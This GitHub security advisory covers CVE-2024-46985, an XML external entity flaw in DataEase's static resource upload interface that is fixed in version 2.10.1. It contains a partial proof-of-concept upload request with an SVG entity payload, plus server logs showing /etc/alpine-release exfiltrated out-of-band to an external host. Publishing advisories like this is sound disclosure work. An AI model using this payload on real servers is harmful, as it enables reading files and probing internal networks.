GitHub Advisoryadvisory · Maven

GHSA-4m9p-7xg6-f4mm DataEase has an XML External Entity Reference vulnerability

HIGH Published 2024-09-23 Modified 2024-09-23 Official page ↗
Aliases
CVE-2024-46985
Ecosystem
Maven
Packages
io.dataease:common
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-611
Reviewed
2024-09-23

Affected packages

• Maven io.dataease:common: < 2.10.1 → fixed in 2.10.1

Description

Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. 1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn ------WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a %EvilDTD; %LoadOOBEnt; %OOB; ]> ------WebKitFormBoundary6OZBNygiUCAZEbMn-- // 1.dtd的内容 "> ``` 2. After sending the request, the content of the file /etc/alpine-release is successfully read ``` ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 - ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 - ``` Affected versions: <= 2.10.0 Patches The vulnerability has been fixed in v2.10.1. Workarounds It is recommended to upgrade the version to v2.10.1. References If you have any questions or comments about this advisory: Open an issue in https://github.com/dataease/dataease Email us at [email protected]

Related

Alias · CVE (1)

  • CVE-2024-46985 DataEase is an open source data visualization analysis tool. vulnerability

Weakness · CWE (1)

  • CWE-611 Improper Restriction of XML External Entity Reference weakness

References